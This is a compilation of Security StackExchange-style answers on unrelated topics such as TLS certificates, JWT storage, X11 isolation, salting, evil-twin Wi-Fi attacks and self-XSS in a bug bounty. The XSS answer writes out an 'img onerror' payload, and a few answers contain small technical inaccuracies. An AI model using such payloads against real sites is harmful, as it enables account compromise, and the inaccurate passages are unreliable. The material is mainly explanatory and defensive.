Fortigate Creating Millions of DNS events to standard domains

It's Fortinet querying them because match some of the FQDN Addresses defined in the Policy & Objects --> Addresses.

FortiGate will re-query the FQDN address 5 seconds before its TTL expires.

It can all be disabled either by deleting or moving them to Wildcard FQDN addresses.

See this Fortinet KB for more info:
https://kb.fortinet.com/kb/documentLink.do?externalID=FD45787


"Friend" stole SD card. Tracing an SD card?

Provided you didn't reformat the new card and/or write anything else on it, there's a good chance you could restore some of the deleted contents with tools like undelete or unformat (some such tools are freely available, just Google for them). I've done it before and is quite possible, that is of course, assuming the card in question was actually used before, and is not new and never written on.

Restored files would probably be missing parts, or at the very least their names would be all wrong (FAT removes the first letter of the filename on delete), but you could perhaps be able to inspect EXIF data on any such restored files (JPeG files), or load RAW files in a compatible reader, and see the camera make from there. Another possibility is also to check for any XML files in the directory structure (usually in a folder named DCIM_XXX where XXX is some incremental number), as some camera manufacturers include thumbnail information in them (e.g. Panasonic does, possibly others too). Often (it is so on my camera), these XML files would contain camera model information. If you have problems finding good tools to read such metadata in, you could also load them in freeware software like Notepad++ and inspect for any identifying file header information (such metadata are normally in the first parts of files).

But whatever you do, don't write on the card (unless you're trying to restore previous files with undelete, or unformat it), and move the read only slider on the side of the card to locked position before putting it in other camera models, as a precaution.

The read-only lock on this photo is the orange part on the side, push the slider down (photo shows it in write enabled mode) to make it read only:

Alternatively, some partition restoration tools (mostly more advanced and as such paid ones though) are also capable of reading your card's raw data, and creating disk's mirror copy that you could upload to your forensically better versed friends to play with, and see if they're able to come up with something. Assuming the raw data stream is not filled with data, such disk's mirror image should compress pretty well with file compression tools, and you might end up with a few MB worth of data to upload - quite reasonable to expect that shouldn't be a problem then. ;)


Does fuzz testing produce different output compared to manual testing?

[I]t seems to me that fuzzers can generate certain conditions that manual testing can't generate.

No, they can't. The server does not know if an HTTP request originates from a fuzzer like ZAP, a browser or anything else as long as they send exactly the same HTTP request.

The key words here are exactly the same. Since you don't know what is going on on the server, anything could possibly affect the result. Look at the HTTP request you send from ZAP (see demo), and look at the HTTP request you send manually. If you are using a browser for the manual testing, just use the developer tools to see it. An alternative approach is to use a program like WireShark to inspect the requests.

When you got the two requests in front of you, compare them. Where is the difference? That is probably the solution to this mystery.

An alternative explanation would be random behaviour on the server, or a change of behavior because the exploit was fixed. Repeated testing could rule out those.


Crosswalks (aka Matrix) for InfoSec Compliance Standards

Are you familiar with the UCF Common Controls Hub at https://commoncontrolshub.com/? It allows you to create an "Authority Documents List" using your example standards and download a spreadsheet that lets you compare them and identify gaps and overlaps. Very cool.


Question1:

Not sure about this one, I guess any RESTful design would do where each application gets an activation token which will allow him to retrieve its identity (used for authentication)

Question 2:

It's not actually. Most corporate applications use a different approach. For instance if you look at GOOD for Enterprise you will note that they encrypt their complete local storage based on a user password. If the user can't remember his password then he can't access the application (no password reset option).

The encryption key is derived from the password and should always be given by the user to start a session. After a few moments of idleness (5 - 10 minutes) you should lock the application again.

GOOD also goes a step further, three wrong password attempts and your local storage gets wiped and your account invalidated for REST requests.

Question 3:

Never use external storage, always use the internal memory. Refer to the good security guidelines for mobile development.

References:

Apple iOS Secure Coding Guide
Android Security Tips


This scenario doesn't really apply to password storage, but more for trying to use a standard hash to validate user input.

The reason data+salt is better is because it makes it more difficult to perform a Length Extention Attack   The assumption here is that the user does not control the salt, but does control the data.  If the user can control the end of the input to a hash, he/she can control/predict what the hash will look like.  This link can give you a better idea of how length extention attacks work

Also, don't ever use sha256 to hash passwords.  Use some sort of Key Derivation Function, like BCrypt.


SSL/TLS begins by a procedure called handshake, in which client and server agree on which cryptographic algorithms they will use (the cipher suite), and do some asymmetric cryptography magic to establish a shared secret, which, for the duration of the session, will be used to do symmetric encryption and integrity checks on subsequently exchanged application data.

Usually, the "key exchange" bit assumes that:

the server sends his public key as part of a certificate (as specified in X.509);
the client validates the certificate with regards to his own set of trust anchors (aka "root certificates") to make sure it is genuine, and contains the public key of the intended server;
the client uses the server's public key to do the asymmetric key exchange, normally by encrypting a random string with the server's public key (the server will use his private key to decrypt it back)(I am skipping over details irrelevant for this answer).

The hard part about a server certificate is that the server needs to have his public key in a certificate which the client will accept. Since the client accepts certificates based on their signature, to be verified against a finite set of a priori known public key (the keys of the "root certification authorities"), a certificate apt for validation may be obtained only by asking the said certification authorities. Most CA will do this only at a price (StartSSL will do it for free). Things are simpler if you control the client code, because you could add your own "root certificate" in the client, and, in effect, manage your own CA and issue your own certificates. This is still key management (the dreaded Public Key Infrastructure), and, as such, entails a non-zero cost.

You can do "certificate-less" SSL in two ways:

You can use one of the "DH_anon" cipher suites. These are cipher suites in which both client and server agree that there is no certificate at all; key exchange relies on Diffie-Hellman key exchange. Most client implementations (read: Web browsers) can support that, but it is very often deactivated by default.
You can have your server send his public key as a fake certificate. A certificate is just a container format; as long as you put a sequence of bytes of approximately the right length in the "signature" field, it will fit the format (traditionally, we use "self-signed" certificates -- as if the server was its own CA -- but any sequence of junk bytes will do). Of course, the client will no longer be able to validate the certificate. Web browsers will loudly complain with scary warnings.

You may note that while a Web browser will shout and scream at the sight of a self-signed certificate, it will also allow (after clicking a few times on "I know what I am doing" buttons) to install an "exception", by which the client accepts to use that unvalidated certificate. The good part of the exception is that it can be made permanent: the server stores a copy of the offending certificate, and, the next time the client connects to the same server and the server sends back the very same certificate, the client no longer complains. With an installed exception, there is a window of weakness (namely, when the user decides to "install the exception": at that time, he does not really know whether the certificate is the right one, or that of a meddling attacker), but afterward the security is restored.

(It is still an idea of questionable quality, to train your users to bypass the scary warnings by installing exceptions.)

Putty is not a SSL client; it uses the SSH protocol, which is conceptually similar to, but practically distinct from, the SSL protocol. The SSH protocol is certificate-less, because it relies on the same model than what I described above with self-signed certificates and installed exceptions. The first time you connect to a given server, the SSH client (Putty) will ask for confirmation before accepting the server public key, normally displaying the "fingerprint" of the public key (a hash value) so that you may compare that fingerprint with the expected value (that you know "out-of-band", e.g. you learned it by heart, or you phoned the sysadmin and he spelled it out for you). The SSH client will then permanently record the public key, and not ask for confirmation anymore -- but if a given suddenly uses a different public key, the SSH client will wail even more loudly than a Web browser confronted to a new self-signed certificate.


The domain yahoo.de is controlled by whoever currently controls the Yahoo! brand. The mail server for this domain is also controlled by the same party. Any mails which should be delivered to this domain will check for the MX of the domain and use the given mail server to deliver the mail, no way around:
$ host -t mx yahoo.de
yahoo.de mail is handled by 10 mx-eu.mail.am0.yahoodns.net.

This owner of the domain explicitly states the policy regarding the domain name in the email addresses:

Most Yahoo accounts end in "@yahoo.com". The domain extension is the ".com" part. Some older accounts have a different extension depending on the location and language where they were created. You can no longer create accounts with Yahoo domains other than "@yahoo.com".
If you have a Yahoo ID with a different local domain, like "@yahoo.co.uk" or "@yahoo.fr", make sure you include the correct domain extension–the ".co.uk" or ".fr" part–when giving out your email address. If an email is sent to the wrong domain, it won't be delivered.

Thus, if this email was created in the past it might still work. But you will not be able to create a new email with this domain and you cannot use any tricks to somehow use such an email but deliver it to a different account, at least as long you don't control the system sending the mail (which you likely don't).


Base64 can be useful for passing data in URLs when that data includes non-url friendly characters, although even then, there are options.

The structure of what you have decoded actually seems to suggest that the encoded string is a command with parameters, which could suggest an reliance of Base64 for Injection attacks, like @Adnan said.

My best guess is that it's a misguided attempt at strengthening security.


Can my employer monitor personal device use on my home network?

They would have very limited visibility even if they went out of their way to configure it; on top of that, I would not expect them to do so.

They could scan your network and identify devices by IP and host name; a good scanner will often identify OS as well. Active measures of this sort are (a) detectable and (b) highly uncommon on user workstations. Restrictive firewall rules may limit detection, but Windows was discoverable on the public profile by default the last time I checked---just the machine itself, though, not details like shares/applications/services.

If they put their NIC into promiscuous mode, they could listen to any broadcast traffic on the network. Windows devices in particular are noisy, and if your router and computers are configured for DHCP then they could find everything eventually.

In a highly unlikely scenario, their system could run a rogue DHCP server that attempts to route all network traffic through their workstation by presenting itself as the network gateway. This is (a) extremely impractical, (b) unreliable, and (c) detectable. With browser-level VPN, they would be unable to see what you are browsing or downloading even in this extreme scenario. Depending on how your VPN handles DNS queries, they might be able to identify the domain. I.e., your browser must resolve security.stackexchange.com in order to load this page, and DNS resolution is typically handled by the OS. If your VPN traps that DNS query and resolves it over the VPN, then the security.stackexchange.com name would not even be visible.

In the end, it is extremely unlikely that they would see anything significant on your network. If your Windows machines are running default settings, there are some neighborhood discovery protocols that will touch the work machine, and incoming communications are often logged. However, these limited probes reveal very little (typically IP, OS, host name, and workgroup name). Unless you have a specific reason to be suspicious of their intentions, you probably don't need to worry. The level of effort required to snoop effectively is generally a deterrent, and that doesn't even consider the possible legal and PR issues.


Vault: How does AppRole authentication works?

If you don't have another authenticated service already running (like a scheduler), I don't think there's much difference in security between push and pull mode. If I understand the workflow correctly, an attacker would need the token in the config file and the AppRole name and meet the restrictions set against the role (ip address, etc.) to gain access to all the secrets that the application would have access to (presuming the SSL certs are just to verify the vault server and not for authenticating to it).

Response wrapping is nice for ensuring the secret id is taken by the correct app and not picked up by an attacker. If a scheduler starts up an app and response wraps the secret id for it, then the app can send some sort of an alert if it can't read it, because it means something else already read it (and might use it to authenticate). If the app itself is pulling the secret id directly, I don't think wrapping it would make sense.
Splitting up where the components required for authenticating are located is probably a good idea.
I don't think push or pull mode are fundamentally more secure than the other with the authentication workflow you're describing.


The fundamental problem with determining password strength is it’s entropy… you can’t predict it or calculate it easily (and not in isolation). (entropy is the amount of unpredictability of the bits used in the password)
All password strength indicators are therefor meaningless… except as an indicator.  But for an indication length is also a really good indicator. (The longer the better). Increasing the digit space also adds a little bit not nearly as much as length.
(Adding “#?!” to your digit space(password character set) increases it with 3 to while increasing the amount of digits increases it with 62 (a-z,A-Z,0-9))
Complexity therefor is dwarfed by length with even as few as 6 additional characters. So getting passwords that are 24 or longer in characters are often sufficiently hard to protect you. (If you don’t reuse or use predictable patterns)
Replacing passwords should only be done if you have reason to suspect it has been leaked or compromised. Especially when combined with a 2nd factor this is easily to detect. (Also enforcing longer passwords helps to mitigate any potential issues)
On short this advice from the papers is obsolete. The NIST has even actively discouraged things like forced password expiration and enhanced character spaces (complexity rules) in favour of simple length rules. People are good with remembering a sentence…. There bad with a simple complex password like “P@33w0r17”. Let’s stop trying to make people do things there bad at… it decreases security not improve it.


Some parts of the webpage (for example images) are loaded using a insecure connection. This parts could be changed by a MitM attacker without you noticing it.
You can use a service like whynopadlock.com or the developer tools of your browser to find out what exactly causes this!

In this specific case, three images are included using a unencrypted http connection!


Appscan has the "show in browser" feature that opens Appscan's special "worst of all worlds" browser for the given vulnerability.  If it isn't a false positive, this browser should execute the Javascript.  I have found it a pretty reliable way to check for false positives.

For all other testing, I've found that Firefox is the least protected from XSS, so I always use Firefox for hand testing.

It happens a lot that the actual page that executes the XSS is an error page that has been redirected to and maybe you are not allowing your hand-testing to proceed all the way to that error page.

Note that with the Burp example you show, the Javascript will not execute until you actually move the mouse over the control in question.


Is it possible to gain RCE from Arbitrary file write by an unprivileged user?

Is there any technique that may help me get a RCE out of this
  vulnerability? Or is this the most I can do with it?

No,in and of itself you cant exploit this for an RCE.You will simply be able to smuggle shells using this way and wont be able to execute them.You will have to chain this vulnerability with another one to gain RCE.A vulnerability like directory traversal could help you gain RCE in this case.

ALTHOUGH
There have been cases where web application use vulnerable libraries which takes what the user uploaded and preform actions on it.If the application uses such a vulnerable upload then that could also be leveraged to perform other actions,sometimes ever RCE or Sql injection.


Relationship between penetration testing and false positive results

You ask a lot of different questions.

I would say that as a whole, an automated tool that produces 100% accurate results is impossible. Else all the penetration testers in the world would be out of a job.

To give one example, RedHat backports security patches to older versions of software under their long-term support. An automated tool might detect that the server is running a particular kernel version that has a privilege escalation exploit and report it as such. However, due to RedHat's security patches, that particular privilege escalation vulnerability is fixed and no longer exploitable. A penetration tester however, would use that automated tool's report as a starting point in the exploitation process and find that the vulnerability is actually fixed. This tends to remove a lot of the false positives produced by automated tools.

Sure, weeding out false positives does consume a fair amount of time in a penetration test. However, I wouldn't consider it a downside. It is just part of the whole penetration testing process. It probably will not cause any delays in the penetration testing process or affect it's quality as a good penetration tester should have already taken into account these factors at the start of the test.

A good penetration tester uses the tools available to him to make his job more efficient. Automated tools are no replacement for proper skills, knowledge and experience.


Found XSS in chat form in bug bounty but they say it's only self XSS. How to leverage it?

There are two "improvements" I can see here.
First, target the person you are chatting with, not yourself. Can you start a chat with yourself on different devices? Send the attack from device A, and see if it can be executed on device B. If this is more like a customer support chat, where users don't chat with other users, this may be tricky. If you can't see the application from the perspective of the person receiving your attack message, you can't really know if it is executed or not.
Second, make the attack execute without any user interaction. An onerror is one way to do this:
<img src="doesnotexistatall.com/" onerror="alert('xss')">

However, without adressing the first point it will still just be self-XSS.


What flaws lie behind HttpContext.Current object i .NET?

"don't put session or System.Web into your business layers"

The primary reason for this is because it completely makes unit testing a nightmare. Your business layer is supposed to be completely separate from your web layer, you should be able to take that BLL and put it into a desktop app and have it run fine.

Being as HttpContext.Current is a collection of objects (Request, Response, Session, etc.) and they each have their own sources (Request headers, Response buffer, Session tied to ASP.NET Session ID cookie) that there isn't one universal answer for just the HttpContext.

However, Sessions do have some inherent issues, hijacking and session fixation is one of them, mainly caused by the inability to rotate session IDs on log-in, Micrsoft has declined to fix this, and you'll need to implement security around that (say, Webforms encryption of your session ID on log in is one example I briefly looked into (you'll want to research it more), or as we use, an authentication cookie that is tied to your session that is HTTPS only and rotates when required).

As for items like User and Identity, those depend on your authentication methods, usually handled by Webforms, but if you use a custom one again, security is up to you to use standard practices.


To answer your questions:

I would imagine that either the router is just set up that way to be convenient, and so that you can contact help if the thing isn't working. That's my theory, I really have no idea why you would do such a thing. It sounds like a bad security practice to me, but also a purposeful choice.

You really shouldn't be doing your bank transactions on public WiFi, period. It would be nice if this router provided you with an additional layer of security, but in reality you should be doing your banking from access point you control. What if the router itself is compromised?
Whenever you connect to this router, you have no idea whether you are connecting to the real router, a copy cat, or the real router after a compromise. Maybe your comfortable with the risk, but I'd rather take my chance at home.

Man in the middle attacks. All the attacker has to do is to masquerade as the router and let someone connect. If he can't find anybody about to connect, that's fine. He uses a deauth attack to knock everyone off the router, and impersonates it as everyone pops back on. You might not notice yourself popping on and off

Here is a guide (a bit dated) on how this is done. The point is that whatever the router is doing for security, you still have to connect to the darn thing, and that's when you get nailed anyway.
Some people call this one-two punch of deauth and impersonate the "evil twin" attack.
Another thing an attacker would do is simply compromise the router. This isn't as hard as it sounds - many routers have very poor security. The access points will often have weak passwords, or default passwords. Many times custom software from ISPs is of poor quality, and allows remote exploits.
Or you know what, scratch that: How about the attacker just approaches the router, opens up the case and modifies the firmware to do his bidding? No remote exploit needed there. For public WiFi, this is a very real concern.
VLAN's only protect you while your connected to the router. You still have to connect to the thing, and that's where the bad stuff happens. I almost forgot to mention that VLAN hopping is certainly a possibility here:
Why do people tell me not to use VLANs for security?
Remember:

Only use Access Points you trust for critical operations
Always use HTTPS, all the time, under all circumstances, no matter what, or else.


I think it is best you refer to the docs you shared for help with this, as they are reputable and serve as a common reference for most professionals. I will do my best to distill some of the information in the documentation to help.

The first thing you want to consider is how this attack is performed, what attack vectors are used, and what vulnerabilities are being exploited.

The main vulnerability of this system is it is subject to MitM attacks. The attacker will sit in between the victim and your server, pretending present the victim with the QR Code from your site.

The attack vectors are different means of the attacker establishing themselves as middle party in the attack and gaining the trust of the victim [1].

The attack can be performed by the attacker visiting your site and getting a valid QR code. The attacker then presents that QR code to the victim. The victim then authenticates that using your app. Now the attacker has a validated session on your site.

It appears the way to prevent this, to summarize, is to ensure that your site and your app are being used in the same place (though that may not help if the attacker is on the same LAN) as a proxy for ensuring it is being used by the same person [2].

  Requesting to scan a second QR code once the first has been scanned (thus requiring the hacker to have access to the second QR code).

The attacker can perform the attack twice, and may still fool the victim

  Limit the validity of the QR code to 15 seconds (thus requiring the hacker to act very quickly)

It appears this is generally used as a targeted attack, so timing won't prevent it. The attacker can spear phish the victim within the time window.

  Require the user to connect their phone to the same network and include the IP address in the QR code.

This seems to loosely fit with OWASP recommendation, but doesn't prevent attacks that take place on the same network.

They also have a recommendation to have the app use sound based authorization that the site can verify.

My recommendation would be to implement the mitigations recommended by OWASP. In addition to that, I recommend you severely limit what the user can do from the site. Don't implement any account management features from the site (password resets, email changes, username changes, etc). Also, allow the client to revoke access of connected computers, from the app. You may also want to send your user a notification that they are connected from computer X, so they can revoke that access if they suspect they didn't mean to authorize it.

[1] https://github.com/OWASP/QRLJacking/wiki/QRLJacking-and-Advanced-Real-Life-Attack-Vectors

[2] https://github.com/OWASP/QRLJacking/wiki/QRLJacking-and-Advanced-Real-Life-Attack-Vectors


Is an anonymity network like Tor viable on top of the GPG web of trust?

The obvious problem with this is that there is no reason why someone would be willing to act as a mail forwarder just because they are in the PGP web of trust.  I have a well connected key and don't plan on becoming your e-mail provider.

Sending messages via Tor, as suggested in the comments, is also unlikely to work as Tor exit nodes are highly likely to be blocked as an anti-spam measure and most exit nodes won't include port 25 in their exit policy anyway.

What you are suggesting, with the minor change that particpants have to opt into being forwarders, is essentially the Mixmaster network.  The list of remailers isn't very long but nothing stops you joining the network.

Mixmaster software


JWT or session cookie for API for both web and mobile app?

Before going into the details I will say that both session cookies and JWTs work for your case and both are secure if implemented correctly. Personally I would go with JWTs if only because it's easier to get up-to-date information or ready-built solutions.

JWT

JWTs were really designed for stateless authorization in mind but you can still use them for sessions. You'll want to look in particularly at using an access/refresh token model where you keep track of active refresh tokens in your database.

As for encryption, there are two main implementation of the JWT standard, namely JWS (a signed token) and JWE (signed then encrypted token). What you want to keep in mind is that a signed token's signature already ensures the integrity of the token. You would only implement JWE if you are also passing sensitive information in the token that you want obscured from the client. However JWT by itself does not solve problems with man-in-the-middle attacks so you should remember to use SSL whenever transmitting the token.

Storage of the token will differ between your web app and mobile native app. For mobile apps you should store them in the OS's Keychain/Keystore (most likely through a wrapper) which is designed for such a purpose. Where to store JWTs on a browser on the other hand is still a rather controversial topic as storing in webstorage (sessionStorage/localStorage) is vulnerable to XSS-Attacks while storing inside a cookie is vulnerable to CSRF.

From what I can gather the general trend is to avoid webstorage due its larger attack surface, but to be honest I've seen examples of both methods. For single page applications you can also consider keeping the token in memory without persistent storage.

Session Cookies

Without knowing details of your mobile app it is hard to say but from my experience if you are using the CookieManager/NSHTTPCookieStorage mechanisms provided by Google/iOS there shouldn't be a problem of deleted cookies that you describe.

Storing cookies on the browser will require you to secure it against CSRF. For what protection you should use it will depend greatly on your specific server implementation and restrictions and I think you should check out the resources on OWASP or ask a more specific question.


Is it secure to transfer certificates from Service 1 to Service 2 over HTTPS?

Let's restrict the question to network traffic only, so we treat the machines themselves as safe. Additionally we treat the TLS version used as safe (be sure to use the latest, as there were some bugs in previous versions).

The security of HTTPS consists of two parts:

Authenticity: If both clients already have some sort of certificate known to the other side or one signed by a CA both sides trust (or a securely implemented token mechanism, like in your example), they can assume, that the client they are connecting to, is in fact the one it claims to be.
This is assured by digital signatures, which we treat as secure at the moment (assuming proper hash and cryptographic algorithms are used, like SHA256 and RSA-2048 or more).

Encryption: The security of encryption depends on whether both sides can trust the keys being used. Assuming that neither side leaked a private key, it's safe to assume that nobody except those two clients can participate in the initial key exchange. The digital signatures mentioned above guarantee that the asymmetric keys belong to the other side respectively, while the asymmetric cryptography guarantees that only the owner of the private key can read messages.

If these conditions are satified, both sides can securely agree on a shared secret for this HTTPS session, without anybody in the middle being able to compute the same secret, even if he/she reads all packages being sent.

Edit: Using the method you added to your question, this transfer should be safe (be aware of the conditions above). Be sure that BOTH sides provide a way of authenticating themselves respectively. If the Service A connects to Service B (which is server-side in this example), A checks the certificate of B. They are able to establish a secure connection, but B can't be sure that A is who it pretends to be.

This is where your (hopefully secure) token system should be used. You may also use some other way of authentication but be sure to use one, as this could be a serious problem. An attacker being able to import his own certificate into Service B... I say no more ;)


"Don't trust the client" means that whatever input comes from the client might have been sent maliciously, because you can't control it. So, for example, this means that authentication and authorization must be checked and enforced server-side. If you let the client validate anything and then tell you "ok", a malicious user could just skip the validation and send "ok" to the server anyway. In general this also means that any kind of input validation must be enforced server-side.

If you don't trust the client, you are basically protecting against all the vulnerabilities that are related to input validation. But that isn't enough of course. There are other types of vulnerabilities. For example, there's output sanitization, there's the confused deputy problem that might lead to CSRF (Cross Site Request Forgery) or clickjacking, there are issues related to wrong authentication schemes, misconfigurations, etc. Even timing attacks might be a problem in some cases. As you can see, not every security problem can be solved by input validation.


How secure is a password protected file?

What version of Excel are you using? Since Office 2007, the encryption used in MS Excel is 128 bit AES with at least a 50,000 interation SHA-1 hash. If you use the built-in encryption with a sufficiently hard password you should not have to worry about offline attacks. How to define "sufficiently hard" will probably change slightly every few years, but if you're really paranoid go with 15 or even 20 characters and then you can sleep well at night.

As for what I do, I used to use a MS Word doc with encryption as described. Now I use a password manager instead. The main difference is the manager uses AES 256 instead of 128, SHA-256 instead of SHA-1 for the hash, and a configurable number of iterations which I set to 5M. I'm still confident that the MS Word doc was extremely secure. The main reason I switched is I like the user interface of the manager better than that of a word document which isn't designed for security once the document is opened.


How do I view a list of known unpatched windows xp arbitrary code execution vulnerabilities?

You will not find this elaborate data no matter where you search simply because there are a lot of unreported attacks against many operating systems. When dealing with XP, you are likely also dealing with the security issues with newer operating systems (Windows 7, Windows 8) not to mention software such as Adobe, Firefox, etc., that are no longer supporting Windows XP either.

By stating you are looking for "code execution" in Windows XP, you're forgetting about the amount of software that will never be updated for XP. Flash, Firefox, IE, Office, and this list goes on and on. It's akin to playing Russian Roulette with 3 or more bullets in the chamber.

Because you're still going to do whatever you choose to do, I suggest you focus on something like Tripwire, OSSEC or some other HIPS checksum mechanism to make sure nothing new is introduced on the system. You might be able to find (archive.org or something) a legacy copy of Black Ice Defender which can be configured to alert on the fly at in and outbound connection attempts versus relying on the standard Windows firewall.

As for your initial question, you won't find a source that will tell you ALL code execution exploits because you need to worry not only about Windows, but about the software it is running.


Is certificate signature encoded to ASN.1 format?

TLDR: Yes, everything in a CSR or a certificate is using ASN.1 notation, ASN.1 is a description of the data types.
There are a few things to unpack here but let's start with some definitions:
Data formats used in PKI:
ASN.1:
This is a syntax notation, or how to represent various data types (integer, string, bytes, etc...).
A programming language equivalent would be a data structure with defined types. eg:
struct Certificate {
  tbsCertificate       TBSCertificateType      // Another struct
  signatureAlgorithm   SignatureAlgorithmType  // Another struct
  signatureValue       []byte                  // An array of bytes
}

DER:
DER encoding is a way of serializing ASN.1 data. The output is an array of bytes that can be stored in a file, sent over the network, or as input to a signature algorithm.
PEM:
PEM is the base64 representation of DER data plus a header and footer. This results in ASCII data that can be easily sent over ASCII-only channels (eg: email doesn't do binary, it needs to be encoded).
I'm going to ignore PEM encoding because it's not strictly necessary here, it is only used to encapsulate binary data to pass around between parties.
How signatures work:
Signature algorithms in PKI have three parameters

the signature algorithm (and optional parameters), eg: PKCS #1 SHA-256 With RSA Encryption
the key: the private key of the signer
the input: raw bytes to sign

There is one output: the signature, which is a bit string.
note: under ASN.1, an octet string and a bit string are two different types. They are both binary data but the bit string can be any length whereas an octet string length in bits must be a multiple of 8.
Signing the input:
No matter what the input is (certificationRequestInfo for CSR, or tbsCertificate for Certificate), it must first be encoded into plain binary.
We need a standard for what that binary is. Luckily, we have one.

For a CSR, RFC 2986 tells us:: The value of the certificationRequestInfo component is DER encoded, yielding an octet string
For a Certificate, RFC 5280 tells us: The signatureValue field contains a digital signature computed upon the ASN.1 DER encoded tbsCertificate.

In both cases, the relevant data in ASN.1 format must be DER encoded, then fed into the signature algorithm. The output (the signature) is a bit string.
What happens to the output:
The output of the signature algorithm is stored in the signatureValue of field of the certificate with type bit string. Again, this is in ASN.1 notation.
Once all certificate fields have been set properly, the certificate is DER encoded.
If needed, the DER data is base64 encoded to yield the PEM data format. But this is not required.
A word of warning:
I think you're trying to accomplish too much. I would start with the basic components of the CSR/Certificate flow and worry about the finer details (such as data encoding) later.
Instead of a diagram that contains all the possible details, start at a high level, get a good handle on the process, then dig into the gritty details if you must.


Amazon Turk - How secure is it? Strange behavior

I did some more research and figured it out. I'm using a client's AWS account and was not aware of how they set up the IAM. Apparently, it's the cross-account access settings that caused this. It was set up a long time ago and nobody really bothered to tell me how it was set up, nor do I think they really payed much attention...

http://docs.aws.amazon.com/IAM/latest/UserGuide/delegation-cross-acct-access.html

So I learned my lesson here and will never assume things when using an a client's AWS account.


Are HTML Components (HTC) files a potential attack vector?

I'm not super familiar with them but can't see anything unsafe about them in a blanket fashion, I can imagine risks from them being used in an unsafe fashion though, typical owasp top ten type risks from trusting user input too much.

Are you allowing these files/other CSS/html content to be uploaded or edited by untrusted input?  Can untrusted users edit the files on the server? If the client machine is compromised (malware etc) they can no doubt alter it but that's a moot point anyway.

There's mention of htc here too, but seems to fit within the risks above:
CSS based attacks


From your question I understand that your IOT device need to store some sensitive information. To prevent adversaries who have physical access to these systems from obtaining the information is multifold. It would be a combination of physical security controls as well as system level controls.

Sensitive information in memory -

By memory, I am considering volatile memory - ie; RAM. It would be virtually impossible for you to prevent the sensitive information from being in memory in clear text because your client program would need the data in clear text. However the possibility if accessing the data from memory is pretty limited if you aren't opening up any other vulnerable interface which would provide some sort of shell like interactive access to the device itself.

Sensitive information in filesystem -

There are three potential ways a user can obtain the information.

By reversing the firmware package
By dumping firmware from the device using any open test interface like JTAG
By using SPI or similar interfaces to read on board flash storage

All three can be resolved by encrypting the respective storage. First two by encrypting the firmware and by leveraging a solution similar to FDE. Read more in TPM. A hardware fuse which limits access to the trusted module also would be required to resolve your issue.


Nope. Symetric keys must be random. If you want to make the key recoverable, store it somewhere, or use some other recovery option. But don't generate it using some predictable algorithm or the whole system falls apart.

Storing the key is far safer than generating it using a predictable system. Because when someone knows your system, then they have all the keys you'll ever generate.


Is a long salt usually sufficient for security purposes, even with MD5?

Not at all.  The salt is expected to be known and it adds no significant complexity unless you are using a salt that is measured in megabytes.  The point is that you need to slow things down and the salt is only appended to the password.  Unless you make the input data majorly longer, it won't slow the algorithm down significantly.

Even with a super, super long salt, the way you apply it to the password would be key too in order to prevent the state of the MD5 process from being saved and minimizing the amount of effort required to perform the hash.


Is a hard-to-brute password necessary in this configuration?

Defence-in-Depth is a concept where you employ various layers and levels of security at different points along the path between a potential user and what you want to protect.

In your case, you want to protect the access to your ssh servers. You are right to review and enhance the security of your perimeter and routers, but as you've assessed, there are a lot of moving parts and any one of them can fail. By using strong passwords, even if you never intentionally expose the servers to the Internet, then you have some level of protection even in a complex environment.


Following strategy using DDoS mitigation service - UDP bandwith exhaustion attack from spoofed IPs

Whether you use one, two or a dozen servers to handle the task, the bandwidth between the client(s) and the server(s) will remain the same.  The only part you can control is the way your server responds to invalid requests or to massive amounts of requests.

One way it could be implemented is by using fail2ban and a firewall on the server.  This way your UDP service could log risky cases that would eventually trigger fail2ban rules that you'd have to define.  It would be a good idea to quickly block repeating requests for the same IP and increase ban time when they become recidivists.

It is very important for you to note that this type of attack is usually targeting the spoofed IP, not the UDP service itself which only suffers a much weaker side-effect when properly secured.

UDP requests are usually much smaller than their response, and handling big requests would also make it harder to perpetrate an efficient attack.


Passive and active attacks via X11. Is Wayland any better?

Basically any process which can successfully connect to a X11 server has full access to what occurs on that server. The X11 security model assumes that attackers are rejected at connection time. The usual security system is that clients must send a specific "magic cookie" as part of their first message, the cookie being a random blob which is created when the server launches or as part of the login procedure; the cookie is also copied to a location which is accessible only to the "allowed" applications. On Unix-like systems, the cookie is traditionally in the $HOME/.Xauthority file, but may be elsewhere (on my recent Linux system, it seems to be somewhere in a sub-directory of /var/run/gdm/), the point being that the file is readable only to a single Unix user. When forwarding X11 connections, SSH uses the xauth command to transparently transport the current cookie from the client to the server (so that applications launched on the remote host can send the cookie when they connect back).

So there is isolation with X11 -- but it is between users (as controlled by the OS), not between applications executed on behalf of the same user.

In older times, the magic cookies were not very common, hence some applications (notably xterm) included countermeasures such as refusing synthetic events (i.e. events resulting from a XSendEvent() called, as opposed to events coming from the hardware). Such measures were before many of the extensions which have grown on the X11 protocol over years, such as XTest, which make them mostly obsolete and useless.

Qubes is an operating system which builds on Xen to isolate some applications from each other -- each VM having its own exclusive display, with no possible interactions with the X11 servers from other VM. I have trouble reading "Beta 1" and "secure" in the same sentence, though...

For the X11 part, the same kind of isolation has existed for many years as Xnest (with an updated successor called Xephyr): you run the potentially evil application under a specific, isolated user ID, and let it connect only to a Xephyr instance which itself connects to the main X11 server as if it was a simple application. To evade that isolation, the application should hijack Xephyr (e.g. through a buffer overflow). The Qubes solution is only more thorough in that it replaces the Unix basic isolation ("distinct user ID") with a much more massive VM layer.

Wayland does not seem to advertise anything about isolation so it is a safe bet that it does nothing in that respect. Also, Wayland tries to give almost-direct hardware access to applications when possible, so any security model in that situation would be relative to how the undocumented 3D hardware and closed-source driver collaborate to avoid a misplaced DMA transfer to gain extra rights -- this does not look like the best way to build security.


How to encrypt data in email body sent by (offline) app and decrypt on server

Short Answer:

Use GNUPG to encrypt and decrypt messages.

Long Answer:

Basically, you want to encrypt the data to avoid get stolen if some security flow, as I understood, come along. Nowadays, the best encryption for such purposes is to use PGP encryption (GNUGP as free implementation). It can be used in Python.
(find python lib here, here) If you work on Ubuntu base system then you probably have it preinstalled, else check the GNU website for more info

The philosophy behind this encryptions is that it uses RSA encryption.

You will create two accounts. One for your machine and one for the server.
The message can be encrypt with the public key of your company's account and decrypt with the same private key.

So you'll create a messsage, encrypt it with the public key of your server account, send it and decrypt it with the private key of the server account.

With that way if you get in a situation, like man-in-the-middle attack, the attacker can not decrypt your data. But just to point out, if you want a better security check, you have the possibility to verify the messages every time that get to the server just in case someone change your message.

To  sum up, I won't tell you more, cause cryptoography is a hole class in universities and IT and would get us pages and time to understand it. I advise you to give a try in google, searching about PGP encryption and ask someone who knows about cryptography.


How to prevent usb rubber ducky type of attacks on Linux?

